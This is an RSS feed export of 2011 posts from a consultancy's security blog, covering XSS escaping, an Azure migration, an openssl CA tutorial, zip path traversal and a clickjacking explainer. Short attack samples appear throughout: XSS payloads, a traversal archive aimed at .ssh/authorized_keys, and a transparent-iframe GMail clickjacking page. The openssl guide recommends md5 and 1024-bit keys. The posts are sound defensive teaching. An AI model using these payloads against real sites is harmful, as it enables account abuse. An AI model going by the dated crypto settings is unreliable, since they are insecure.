<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>BEKK Open &#187; Sikkerhet</title>
	<atom:link href="http://open.bekk.no/category/bekk/tech/sikkerhet/feed/" rel="self" type="application/rss+xml" />
	<link>http://open.bekk.no</link>
	<description>Et innblikk i hva som skjer i BEKK</description>
	<lastBuildDate>Fri, 11 May 2012 16:31:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Avoiding Cross Site Scripting &#8211; Not as easy as you might think</title>
		<link>http://open.bekk.no/avoiding-cross-site-scripting-not-as-easy-as-you-might-think/</link>
		<comments>http://open.bekk.no/avoiding-cross-site-scripting-not-as-easy-as-you-might-think/#comments</comments>
		<pubDate>Tue, 30 Aug 2011 09:30:44 +0000</pubDate>
		<dc:creator>Erlend Oftedal</dc:creator>
				<category><![CDATA[BEKK]]></category>
		<category><![CDATA[Sikkerhet]]></category>
		<category><![CDATA[Teknologi]]></category>
		<category><![CDATA[ndc2011]]></category>
		<category><![CDATA[web security]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://open.bekk.no/?p=6106</guid>
		<description><![CDATA[Cross site scripting (XSS) vulnerabilities are probably the most common security errors we as developers make. Security companies around the world report finding it in as many as 80 percent of the applications they asses. Why is this still a problem, and is it really all that dangerous?]]></description>
			<content:encoded><![CDATA[<p><strong>Cross site scripting (XSS) vulnerabilities are probably the most common security errors we as developers make. Security companies around the world report finding it in as many as 80 percent of the applications they assess. Why is this still a problem, and is it really all that dangerous?</strong></p>
<div style="float: right; width: 400px; margin: 5px 0px 5px 10px;">
<iframe src="http://player.vimeo.com/video/28268598?byline=0&amp;portrait=0" width="400" height="225" frameborder="0"></iframe><br />
Video of my presentation from <a href="http://www.ndc2011.no">NDC2011</a> on the same topic.
</div>
<p>To answer the last question first, yes, it certainly is dangerous. While most demonstrations only show a javascript alert with &#8220;XSS&#8221;, the malicious use of these vulnerabilities is certainly something to you want to avoid. Traditionally XSS has been used to steal login credentials (session ids, username/password) or perform worm-like activity on social networking sites. And while those exploitations are bad, a bigger problem is when XSS-flaws are used to deliver malware to the end user, exploiting flaws in the browser or plugins, and allowing the attacker full control over the victim&#8217;s computer. Tricking a victim into visiting a malware infested site, is easier when the site is something a user would normally trust. </p>
<p>So why the name Cross Site Scripting? All browsers implement the Same Origin Policy (SOP), which will block a site A from including an iframe to site B, and then reading all the content from that site. Consider a malicious site including a hidden iframe pointing to your webmail, and then reading all your mail when you visit it. The SOP stops this from happening. However, if we are including unhandled user input in our HTML, we can get in trouble even if this policy is in place. The unhandled user input can end up changing the flow of HTML and javascript on our site, and thus completely change the appearance and behavior of the site.</p>
<p>A first attempt at stopping XSS, is often to do input validation. While input validation certainly has security benefits, it fails to solve all XSS problems. The XSS attack strings can be sneaky, and we can&#8217;t always identify or block them. Consider doing input validation on a blog comment. A comment can contain almost anything &#8211; including instructions on how to write javascript &#8211; while still being a valid comment. And input validation is about data quality and making sure the data is valid according to our domain &#8211; not removing attacks. The fact that it mitigates some attacks, is actually a side effect. So we cannot rely solely on input validation. </p>
<p>Another approach &#8211; which many frameworks now follow &#8211; is to automatically HTML encode everything we output in HTML. ASP.NET MVC3&#8242;s Razor (<code>@SomeVariable</code>) and Ruby On Rails 3 (<code>&lt;%= SomeVariable %&gt;</code>) are view engines that follow this approach. This will certainly stop a lot of XSS attacks. It&#8217;s on the right track and it works as long as you are using the built in templates for creating HTML elements. </p>
<p>If, however, we are to avoid XSS completely, we need to apply contextual encoding. We need to escape differently whether we are outputting user data between HTML tags, in HTML attributes, in javascript or in CSS. Consider the following example:<br />
<code><br />
<b>&lt;html&gt;</b><br />
<b>&lt;script&gt;</b><br />
var a = "&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;";<br />
<b>&lt;/script&gt;</b><br />
<b>&lt;/html&gt;</b><br />
</code><br />
This should be safe, right? The alert is inside a javascript string, and we are not breaking out of that string using a double-quote. So nothing should happen. Now try it in a browser, and see what happens. If we, in this case, applied HTML escaping, we would have stopped the attack. However our javascript string might not contain what we intended it to. As an example, sorting javascript strings becomes a bit more difficult when characters are HTML escaped, because it affects more than the less/greater than characters. </p>
<p>How about this example?<br />
<code><b>&lt;div onmouseover="displayTooltip('&amp;#39;);alert(&amp;#39;xss')"&gt;&lt;/div&gt;</b></code><br />
The single quotes are escaped so we should be safe, right? Again try running something similar in a browser and see what happens. In this case our input is actually put into a javascript context inside a HTML attribute context. </p>
<p>So the correct escaping in the examples above, would have been to apply javascript encoding, meaning replacing non-alphanumeric characters with their escaped equivalent (<code>\x<i>HH</i></code> or <code>\u<i>nnnn</i></code>). Also we should perform HTML attribute encoding on the last one to make sure we have escaped for both contexts. </p>
<p>OWASP (the Open Web Application Security Project) has created the <a href="https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet">XSS prevention cheat sheet</a>, that helps us understand when and how to escape user input. And any web developer should know this by heart. The rules of this cheat sheet are:</p>
<ul>
<li>RULE #0 &#8211; Never Insert Untrusted Data Except in Allowed Locations</li>
<li>RULE #1 &#8211; HTML Escape Before Inserting Untrusted Data into HTML Element Content</li>
<li>RULE #2 &#8211; Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes</li>
<li>RULE #3 &#8211; JavaScript Escape Before Inserting Untrusted Data into HTML JavaScript Data Values</li>
<li>RULE #4 &#8211; CSS Escape Before Inserting Untrusted Data into HTML Style Property Values</li>
<li>RULE #5 &#8211; URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values</li>
<li>RULE #6 &#8211; Use an HTML Policy engine to validate or clean user-driven HTML in an outbound way</li>
<li>RULE #7 &#8211; Prevent DOM-based XSS</li>
</ul>
<p>Rule #7 was added recently, but was found to be broad that it was given a prevention cheat sheet on it&#8217;s own &#8211; the <a href="https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet">OWASP DOM based XSS Prevention Cheat Sheet</a>. DOM based XSS is a flaw where the XSS occurs in javascript client side. The javascript takes unsanitized data found in the browser (typically data from a form, the url, window.referer or window.name), and then writes that data to the HTML DOM using document.write or similar, which causes the malicious javascript in the unsantized data to run. An example could be <code>$(location.hash)</code> as described in <a href="http://ma.la/jquery_xss/">http://ma.la/jquery_xss/</a>.
</p>
<p>To help you escape correctly for .NET, Barry Dorrans has built the AntiXSS library, which you will find on NuGet and Codeplex. For Java and several other languages use the encoders that are a part of OWASP ESAPI. </p>
<p>Stay safe. Stay Secure.</p>
<p><em>If you want to learn more about web security, join your local OWASP chapter. The Open Web Application Security Project (OWASP) is a 501c3 not-for-profit worldwide charitable organization focused on improving the security of application software, and pariticipation is free and all material freely available.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://open.bekk.no/avoiding-cross-site-scripting-not-as-easy-as-you-might-think/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Flytte en ASP.NET-applikasjon til Windows Azure</title>
		<link>http://open.bekk.no/flytte-en-asp-net-applikasjon-til-windows-azure/</link>
		<comments>http://open.bekk.no/flytte-en-asp-net-applikasjon-til-windows-azure/#comments</comments>
		<pubDate>Wed, 24 Aug 2011 14:33:28 +0000</pubDate>
		<dc:creator>Vidar Kongsli</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[BEKK]]></category>
		<category><![CDATA[Sikkerhet]]></category>
		<category><![CDATA[Systemarkitektur]]></category>
		<category><![CDATA[Teknologi]]></category>
		<category><![CDATA[.net]]></category>
		<category><![CDATA[aspdotnet]]></category>
		<category><![CDATA[aspnet]]></category>
		<category><![CDATA[azure]]></category>
		<category><![CDATA[c#]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[skyen]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://open.bekk.no/?p=5861</guid>
		<description><![CDATA[Jeg har tidligere skrevet om hvilke typiske Windows Azure-komponenter man kan vurdere når man skal flytte eksisterende komponenter til Azure. Da skrev jeg at en ASP.NET-applikasjon kan kjøres ved hjelp av en Windows Azure Compute Web role. Det er dermed ikke sagt at dette er trivielt, først og fremst fordi en applikasjon ofte har avhenigheter [...]]]></description>
			<content:encoded><![CDATA[<p>Jeg har tidligere skrevet om hvilke typiske Windows Azure-komponenter man kan vurdere når man skal <a href="http://open.bekk.no/flytte-eksisterende-komponenter-til-windows-azure/">flytte eksisterende komponenter til Azure</a>. Da skrev jeg at en ASP.NET-applikasjon kan kjøres ved hjelp av en <em>Windows Azure Compute Web role</em>. Det er dermed ikke sagt at dette er trivielt, først og fremst fordi en applikasjon ofte har avhenigheter til eksterne komponenter og tjenester som ikke er tilgjengelig i Skyen. I denne artikkelen ser jeg mer i detalj hva man må tenke på når man skal flytte en eksisterende ASP.NET-applikasjon til Azure, og hvilke Azure-komponenter man kan vurdere å benytte i en slik sammenheng for å håndtere disse avhengighetene. </p>
<p>Tilfellet er her en mer eller mindre typisk ASP.NET-applikasjon som samspiller med en SQL-database, lokalt filsystem, og som eventuelt autentiserer brukere mot Active Directory. Vi skal se på løsninger som ikke krever omskriving av applikasjonen, eller så lite omskrivning som overhodet mulig.</p>
<h3>.NET-versjoner og biblioteker</h3>
<div class="wp-caption alignright"><a href="http://open.bekk.no/wp-content/uploads/2011/08/Skjermbilde-2011-08-08-kl.-15.31.41.png"><img src="http://open.bekk.no/wp-content/uploads/2011/08/Skjermbilde-2011-08-08-kl.-15.31.41.png" alt="" title="vs-2010-copy-local-true" width="273" height="128" class="size-full wp-image-6010" /></a></div>
<p>Ut av boksen støtter Azure Compute .NET 2.0 eller nyere. (Merk dog at den kun kjører IIS 7.0, ikke 7.5). Det vil si at kjernebibliotekene i .NET 2.0, 3.5 og 4.0 fins på serveren. Hvis man skal benytte tredjepartsbiblioteker, eller nyere biblioteker fra Microsoft som f.eks. ASP.NET MVC 3, må disse assembly&#8217;ene legges ved i pakken som skal produksjonssettes. Dette gjøres enkelt ved å sette <code>Copy local</code> til <code>True</code> for den gitte referansen i Visual Studio.</p>
<h3>Databasetilgang</h3>
<p>Hvis applikasjonen trenger tilgang til en database, er det flere mulige løsninger uten å skrive om applikasjonen. Den enkleste løsningen, hvis det eksisterende databasesystemet er SQL Server, er å migrere til <a title="Microsoft SQL Azure" href="http://www.microsoft.com/windowsazure/sqlazure/">Microsoft SQL Azure</a>. I praksis er det få begrensninger i SQL Azure sammenlignet med SQL Server. <a title="Compare SQL Server with SQL Azure" href="http://social.technet.microsoft.com/wiki/contents/articles/compare-sql-server-with-sql-azure.aspx">Her</a> finner du en sammenligning av disse løsningenene. I praksis vil jeg tro at det er følgende begrensninger man oftest vil støte på:</p>
<ul>
<li>Maksimum databasestørrelse er 50 GB</li>
<li>Mangel på støtte for alle replikeringscenarier</li>
<li>Mangel på støtte for Windows Integrated Authentication</li>
</ul>
<p>Hvis man på grunn av noen av begrensningene i SQL Azure, eller av andre årsaker, ikke kan ta SQL Azure i bruk, er en annen mulighet å benytte seg av <a title="MSDN: Overview of Windows Azure Connect" href="http://msdn.microsoft.com/en-us/library/gg432997.aspx">Windows Azure Connect</a>. Da åpner man et virtuelt nettverk fra ASP.NET-applikasjonen på Azure inn til databaseserveren som driftes lokalt. Dette krever installasjon av gateway-programvare på det interne nettverket.</p>
<h3>Filsystemtilgang</h3>
<p>Når en applikasjon kjører i Window Azure, har den tilgang til det lokale filsystemet på den virtuelle maskinen. Størrelsen på denne disken kommer an på <a title="MSDN: What are the Billing Basics of Windows Azure?" href="http://msdn.microsoft.com/en-us/library/dd163896.aspx#bk_Billing">størrelsen på instansen</a>.<br />
Det er dog verdt å merke seg at dette filområdet ikke er egnet til permanent lagring for det blir slettet for hver produksjonssetting av applikasjonen. Dette er dermed mer egnet til midlertidig lagring, og til eventuell installasjon av programvare som løsningen benytter. Videre er dette filsystemet en sandkasse, slik at applikasjonen ikke har tilgang til hele disken, men kun til en underkatalog.</p>
<p>Uten å måtte skrive om applikasjonen, er løsningen her å benyttet Windows Azure Drives. Dette er løsning som baserer seg på at man lagrer en NTFS-formattert Virtual Hard Drive (VHD) som en <em>page blob</em> i Windows Azure Storage blob service. En page blob er en type blob som tillater ikke-sekvensiell tilgang (random access). Da kan denne mappes som et drev på den virtuelle maskinen der .NET-applikasjonen kjører slik at den fungerer som en normal disk for applikasjonen. Lesing og skriving til denne caches lokalt på maskinen for å oppnå god ytelse. For mer informasjon, se <a title="Windows Azure Drives white paper" href="http://go.microsoft.com/?linkid=9710117">Windows Azure Drives white paper</a>.</p>
<p>Har man rom for å skrive om applikasjonen, vil nok en bedre løsning på sikt være å benytte Windows Azure Blob storage via klient-APIet eller direkte via det <a title="MSDN: Blob Service API" href="http://msdn.microsoft.com/en-us/library/dd135733.aspx">REST-baserte APIet</a>.</p>
<h3>Autentisering og brukerhåndtering</h3>
<p>Avhengig av hvordan applikasjonen håndterer brukerne, er dette området den potensielt største showstopperen for å flytte applikasjonen til Azure. Årsaken til dette er at Active Directory ikke er tilgjengelig i Azure, og at katalogfunksjonalitet og Windows Integrated-autentisering dermed ikke kan benyttes.</p>
<p>Her er noen typiske kombinasjoner av autentisering og brukerhåndtering, og respektive forslag til løsning:</p>
<table border="1" cellspacing="0" cellpadding="5">
<tr>
<th>Autentiseringstype</th>
<th>Brukertype</th>
<th>Løsning</th>
</tr>
<tr>
<td>Form</td>
<td>I SQL-database</td>
<td>Benytt løsning for håndtering av databasetilgang gitt ovenfor. Home free!</td>
</tr>
<tr>
<td>Form</td>
<td>Windows-bruker</td>
<td>Ikke trivielt. Se ADFS-basert løsning nedenfor</td>
</tr>
<tr>
<td>Basic</td>
<td>I SQL-database</td>
<td>Basic authentication støttes av Web roles. Samme som Form+SQL-database over.</td>
</tr>
<tr>
<td>Basic</td>
<td>Windows-bruker</td>
<td>Ikke trivielt. Se ADFS-basert løsning nedenfor</td>
</tr>
<tr>
<td>Windows integrated authentication</td>
<td>Windows-bruker</td>
<td>Ikke trivielt. Se ADFS-basert løsning nedenfor</td>
</tr>
</table>
<h4>Løsning basert på Active Directory Federation Services</h4>
<p>Autentisering og brukerhåndtering i Skyen skaper ofte problemer hvis det er et krav at autentisering skal gjøres mot en felles katalog som for eksempel Active Directory. Hvis katalogen som benyttes er Active Directory, er den enkleste veien å gå å installere og benytte <a title="Active Directory Federation Services" href="http://technet.microsoft.com/en-us/library/cc772128(WS.10).aspx">Active Directory Federation Services</a>. Denne kan opptre som en identitetstilbyder og autentisere brukerne på vegne av applikasjonen. En ASP.NET-applikasjon kan konfigureres til å støtte dette, det vil si å gjøres såkalt &#8220;claims-aware&#8221; ved hjelp av <a title="MSDN: Windows Identity Foundation SDK" href="http://msdn.microsoft.com/en-us/library/ff642492.aspx">Windows Identity Foundation-biblioteket</a>. Sistnevnte er tilgjengelig for .NET 3.5 og 4.0, og kan i noen tilfeller introduseres i en applikasjon uten omskriving av applikasjonen, avhengig av hvordan autentiseringen fungerer i applikasjonen fra før.</p>
<p>For en typisk eksisterende applikasjon gjennomfører man følgende steg:</p>
<ul>
<li>Installere og konfigurere Active Directory Federation Services (AD FS)</li>
<li>Konfigurere ASP.NET-applikasjon som &#8220;claims-aware&#8221; og etablere trust mellom denne og ADFS</li>
</ul>
<p>Det er mange detaljer, og mange spesialtilfeller som kan slå til, men på et overordnet nivå er dette stegene som må tas.</p>
]]></content:encoded>
			<wfw:commentRss>http://open.bekk.no/flytte-en-asp-net-applikasjon-til-windows-azure/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to sign a certificate request with openssl</title>
		<link>http://open.bekk.no/how-to-sign-a-certificate-request-with-openssl/</link>
		<comments>http://open.bekk.no/how-to-sign-a-certificate-request-with-openssl/#comments</comments>
		<pubDate>Mon, 20 Jun 2011 11:59:32 +0000</pubDate>
		<dc:creator>Stefan Landrø</dc:creator>
				<category><![CDATA[BEKK]]></category>
		<category><![CDATA[Sikkerhet]]></category>
		<category><![CDATA[Teknologi]]></category>
		<category><![CDATA[ca]]></category>
		<category><![CDATA[csr]]></category>
		<category><![CDATA[openssl]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://open.bekk.no/?p=5488</guid>
		<description><![CDATA[Today I had to issue a certificate signed with my own self-signed certificate (i.e. sign a CSR using my own CA). The best tutorial I could find is from 2001, and is a bit outdated and incomplete. I therefore ended up writing this tutorial. Create a minimal openssl CA configuration file and save it as [...]]]></description>
			<content:encoded><![CDATA[<p>Today I had to issue a certificate signed with my own self-signed certificate (i.e. sign a CSR using my own CA). The best <a href="http://www.antionline.com/showthread.php?t=238398">tutorial</a> I could find is from 2001, and is a bit outdated and incomplete. I therefore ended up writing this tutorial. </p>
<p><strong>Create a minimal openssl CA configuration file and save it as <em>ca.conf</em>:</strong></p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">[ ca ]
default_ca = ca_default
[ ca_default ]
dir = ./ca
certs = $dir
new_certs_dir = $dir/ca.db.certs
database = $dir/ca.db.index
serial = $dir/ca.db.serial
RANDFILE = $dir/ca.db.rand
certificate = $dir/ca.crt
private_key = $dir/ca.key
default_days = 365
default_crl_days = 30
default_md = md5
preserve = no
policy = generic_policy
[ generic_policy ]
countryName = optional
stateOrProvinceName = optional
localityName = optional
organizationName = optional
organizationalUnitName = optional
commonName = optional
emailAddress = optional</pre></div></div>

<p><strong>Create the CA database directory and some other necessary directories and files (it will hold information about all the certificates you issue):</strong></p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">mkdir ca
cd ca
mkdir ca.db.certs
touch ca.db.index
echo &quot;1234&quot; &gt; ca.db.serial</pre></div></div>

<p><strong>Generate a 1024-bit RSA private key for the CA:</strong></p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">openssl genrsa -des3 -out ca/ca.key 1024</pre></div></div>

<p><strong>Create a self-signed X509 certificate for the CA (the CSR will be signed with it):</strong></p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">openssl req -new -x509 -days 10000 -key ca/ca.key -out ca/ca.crt</pre></div></div>

<p><strong>Create CSR</strong></p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">openssl req -new -newkey rsa:1024 -nodes -keyout mykey.pem -out myreq.pem</pre></div></div>

<p><strong>Sign CSR</strong></p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">openssl ca -config ca.conf -out certificate.pem.crt -infiles myreq.pem</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://open.bekk.no/how-to-sign-a-certificate-request-with-openssl/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ZIP, Java and security</title>
		<link>http://open.bekk.no/zip-java-and-security/</link>
		<comments>http://open.bekk.no/zip-java-and-security/#comments</comments>
		<pubDate>Wed, 15 Jun 2011 21:03:09 +0000</pubDate>
		<dc:creator>Stefan Landrø</dc:creator>
				<category><![CDATA[BEKK]]></category>
		<category><![CDATA[Fri Programvare]]></category>
		<category><![CDATA[Sikkerhet]]></category>
		<category><![CDATA[Teknologi]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[zip]]></category>

		<guid isPermaLink="false">http://open.bekk.no/?p=5473</guid>
		<description><![CDATA[The ZIP-specification is somewhat peculiar in that it is specified by a company called PKWARE and not by any of the regular standardization bodies like the IETF or W3C. The specification has undergone several revisions since its first release in 1989, and is currently at version 6.3.2. (published in 2007). One would think that support [...]]]></description>
			<content:encoded><![CDATA[<p>The ZIP-<a href="http://www.pkware.com/documents/casestudies/APPNOTE.TXT" target="_blank">specification</a> is somewhat peculiar in that it is specified by a company called <a href="http://www.pkware.com/" target="_blank">PKWARE</a> and not by any of the regular standardization bodies like the IETF or W3C. The specification has undergone several revisions since its first release in 1989, and is currently at version 6.3.2. (published in 2007).</p>
<p>One would think that support for the file format on a platform like Java would be top notch by now, however that is not the case. There are several <a href="http://mindprod.com/jgloss/zip.html#GOTCHAS" target="_blank">limitations</a> in the standard <a href="http://download.oracle.com/javase/6/docs/api/java/util/zip/package-summary.html" target="_blank">java.util.zip</a> package and the API is fairly low level. That&#8217;s probably why folks seem to prefer using higher-level open source libraries, and <a href="http://truezip.java.net/" target="_blank">TrueZip</a> seems to be the most popular one. Therefore, on my latest project, where we&#8217;re dealing with massive amounts of large (200+ MB) zip files, we gave TrueZip a try. Well, it&#8217;s called TrueZip, but I&#8217;d rather call it FalseZip! It worked pretty ok with small files, but it produced extremely strange results with big zips (didn&#8217;t unpack properly). We also tried using several other libraries, but none of the behaved as expected/required, and we ended up using <a href="http://download.oracle.com/javase/6/docs/api/java/util/zip/package-summary.html" target="_blank">java.util.zip</a> even if it is pretty low level.</p>
<p>The advantage og using this low level API is that you learn lots about the zip format and potential security issues.</p>
<p>Let&#8217;s have a look at the following two following zip files, <em>test.zip</em> and <em>evil_test.zip</em>:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">Stefan-Magnus-Landros-MacBook:tmp landro$ unzip -l test.zip
Archive:  test.zip 
Length     Date     Time    Name 
--------   ----     ----    ----
&nbsp;
      10   06-15-11 22:10   bar       
      10   06-15-11 22:10   foo
--------                    -------       
      20                    2 files
&nbsp;
Stefan-Magnus-Landros-MacBook:tmp landro$ unzip -l evil_test.zip
Archive:  evil_test.zip 
Length     Date     Time    Name 
--------   ----     ----    ----
&nbsp;
      10   06-15-11 22:11   ../.ssh/authorized_keys       
      10   06-15-11 22:10   /bin/bash       
--------                    -------       
      20                    2 files</pre></div></div>

<p>If you <em>unzip test.zip</em> with unzip on Mac OS X, it will create a <em>foo</em> and a <em>bar</em> file in the current working directory. All cool.<br />
If you <em>unzip evil_test.zip</em>, it will create an <em>.ssh</em> folder containing an <em>authorized_keys</em> file and and a <em>bin</em> folder containing a <em>bash</em> file &#8230;. in the current working directory. All cool &#8230;.thanks to unzip on Mac OS X (actualy provided by <a href="http://www.info-zip.org/" target="_blank">Info-ZIP</a>).</p>
<p>Is <em>java.util.zip</em> all cool too? Yes, as long as you validate/handle correctly the values returned by <em><a href="http://download.oracle.com/javase/6/docs/api/java/util/zip/ZipEntry.html#getName()" target="_blank">ZipEntry.getName()</a></em>. It turns out zip files can easily be tampered with using using a HEX editor (modifying names won&#8217;t affect checksums!), so you better make sure you do some validation!</p>
]]></content:encoded>
			<wfw:commentRss>http://open.bekk.no/zip-java-and-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Clickjacking</title>
		<link>http://open.bekk.no/clickjacking/</link>
		<comments>http://open.bekk.no/clickjacking/#comments</comments>
		<pubDate>Wed, 04 May 2011 19:20:22 +0000</pubDate>
		<dc:creator>Torgeir Thoresen</dc:creator>
				<category><![CDATA[Sikkerhet]]></category>
		<category><![CDATA[Teknologi]]></category>
		<category><![CDATA[Clickjacking]]></category>

		<guid isPermaLink="false">http://open.bekk.no/?p=5201</guid>
		<description><![CDATA[Med Clickjacking utnytter en angriper at andre nettsider og plugins kan hentes inn og blandes med innholdet på angriperens nettside på en slik måte at brukere kan bli lurt til å utføre handlinger på andre sider de er logget inn på i samme nettlesersesjon. Her viser vi hvordan Clickjacking fungerer og hvordan du kan beskytte deg og dine brukere.]]></description>
			<content:encoded><![CDATA[<p>I Juli 2002 rapporterte Mozillas Jesse Ruderman en <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=154957">bug</a> for Firefox som argumenterte for at iframes ikke burde ha en gjennomsiktig bakgrunn. Ruderman forklarte at dette betydde at han kunne vise en side som Yahoo i en iframe og “legge til” elementer til den. Desverre ble han ikke hørt, og buggen ble markert som ugyldig og senere lukket.</p>
<p>Seks år senere, i 2008, presenterte sikkerhetsforskerne Jeremiah Grossman og Robert Hansen en ny type angrep, Clickjacking, som utnyttet akkurat det prinsippet Ruderman hadde prøvd å få på dagsorden. De lagde en nettside der besøkende uvitende ble tatt opp og filmet, og opptakene videre streamet tilbake til angriperen.</p>
<h3>Hva er Clickjacking?</h3>
<p>Ved Clickajcking (også kalt UI Redressing) utnytter en angriper at andre nettsider og plugins kan hentes inn og blandes med innholdet på angriperens nettside. Dette kan gjøres på en slik måte at brukere kan bli lurt til å utføre handlinger på andre sider de er logget inn på i samme nettlesersesjon. Enkelte HTML-elementer, som for eksempel iframe, tillater at innhold hentes fra andre domener, som deretter kan blandes så godt inn i angriperen sin nettside med CSS at det blir usynlig for brukeren at man i realiteten klikker på en helt annen side (derav UI Redressing).</p>
<h3>Hvordan utføres Clickjacking?</h3>
<p>La oss se på et eksempel på Clickjacking som tidligere har blitt utnyttet for å sende epost fra besøkendes GMail-adresser. Koden under viser en enkel HTML-side som inkluderer en side fra GMail ved hjelp av en iframe.</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">h1</span>&gt;</span>The evil<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">h1</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">p</span>&gt;</span>That men <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;&quot;</span>&gt;</span>do<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;</span>..<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">p</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">iframe</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;https://mail.google.com/mail/h/cssoverlay/?v=b&amp;cs=wh&amp;</span>
<span style="color: #009900;">  to=attackers.choice.of.email@example.com&amp;subject=I have been clickjacked&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">iframe</span>&gt;</span></pre></div></div>

<p>Bildet viser hvordan dette kunne sett ut.</p>
<h2 style="text-align: center;"><a href="http://open.bekk.no/wp-content/uploads/2011/05/clickjacking1.png"><img class="size-full wp-image-5207" title="Clickjacking #1" src="http://open.bekk.no/wp-content/uploads/2011/05/clickjacking1.png" alt="Clickjacking #1" width="500" height="311" /></a></h2>
<p>Grunnlaget for dette angrepet, var at Google eksponerte en URL som kunne laste en brukers GMail med en ferdig utfylt epost med til- og tittel-felt med data fra URL&#8217;en. Ved også å ta i bruk CSS, kunne iframe-elementet flyttes slik at send-knappen fra GMail ble liggende nøyaktig over linken. Da iframe-elementet lå etter linken i koden ble dette tegnet foran linken.</p>
<h2 style="text-align: center;"><a href="http://open.bekk.no/wp-content/uploads/2011/05/clickjacking2.png"><img class="size-full wp-image-5208" style="text-align: center;" title="Clickjacking #2" src="http://open.bekk.no/wp-content/uploads/2011/05/clickjacking2.png" alt="Clickjacking #2" width="500" height="311" /></a></h2>
<p>Deretter kunne også opacity settes for gjemme siden fra mail.google.com i sin helhet, ved å gjøre iframe-elementet helt gjennomsiktig.</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;">  iframe <span style="color: #00AA00;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">width</span><span style="color: #00AA00;">:</span> <span style="color: #933;">500px</span><span style="color: #00AA00;">;</span>
    <span style="color: #000000; font-weight: bold;">height</span><span style="color: #00AA00;">:</span> <span style="color: #933;">300px</span><span style="color: #00AA00;">;</span>
&nbsp;
    <span style="color: #000000; font-weight: bold;">position</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">absolute</span><span style="color: #00AA00;">;</span>
    <span style="color: #000000; font-weight: bold;">top</span><span style="color: #00AA00;">:</span> <span style="color: #933;">200px</span><span style="color: #00AA00;">;</span>
    <span style="color: #000000; font-weight: bold;">left</span><span style="color: #00AA00;">:</span> <span style="color: #933;">-110px</span><span style="color: #00AA00;">;</span>
&nbsp;
    opacity<span style="color: #00AA00;">:</span> <span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>
  <span style="color: #00AA00;">&#125;</span></pre></div></div>

<h2 style="text-align: center;"><a href="http://open.bekk.no/wp-content/uploads/2011/05/clickjacking3.png"><img class="size-full wp-image-5209" style="text-align: center;" title="Clickjacking #3" src="http://open.bekk.no/wp-content/uploads/2011/05/clickjacking3.png" alt="Clickjacking #3" width="500" height="311" /></a></h2>
<p>I dette angrepet ble linken brukt som &#8220;lokkemat&#8221; for å fremprovosere klikk fra brukeren, og klikk beregnet for å treffe linken ville isteden treffe send-knappen fra den usynlige iframen. På denne måten kunne angriperen velge både tittel og mottaker, og få sendt epost fra den besøkendes konto med den besøkendes identitet.</p>
<p>Det et finnes et utall kombinasjoner av HTML og CSS som kan brukes for å gjennomføre Clickjacking, og kombinert med JavaScript kan sofistikerte angrep som er veldig vanskelige å oppdage gjennomføres. I Grossman og Hanssen sitt tilfelle ble besøkende lurt til å klikke på en lenke som egentlig skjulte Flash-pluginen sitt forsøk på spørre om tillatelse til å bruke webkamera og mikrofon fra brukerens pc.</p>
